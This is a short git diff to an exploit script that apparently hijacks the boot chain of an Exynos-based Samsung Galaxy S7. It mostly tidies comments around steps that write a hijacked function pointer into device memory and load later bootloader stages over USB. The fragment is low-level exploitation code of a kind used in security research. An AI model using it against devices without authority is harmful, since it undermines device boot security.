diff --git a/source/exploit/exploit.py b/source/exploit/exploit.py index 34fbeb0..8ad0527 100644 --- a/source/exploit/exploit.py +++ b/source/exploit/exploit.py @@ -610,8 +610,7 @@ class ExynosDevice(): jump_bl1(DEBUGGER_ADDR) - - # At this point BL1 has booted. Next up is BL31 + # ==== BL31 ==== assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # To continue booting next stages self.cd.restore_stack_and_jump(hijacked_fun) @@ -623,15 +622,13 @@ class ExynosDevice(): self.connect_device() time.sleep(1) - ### WORKS UNTIL HERE. Unsure where we are in BL31 currently - - # Load BL3 - # self.usb_read(0x200) # GiAs - # self.cd.restore_stack_and_jump(hijacked_fun) + # ==== Stage 3 BL2 ==== self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()) time.sleep(2) self.connect_device() + + # ==== Stage 4 ==== self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()) time.sleep(2) self.connect_device()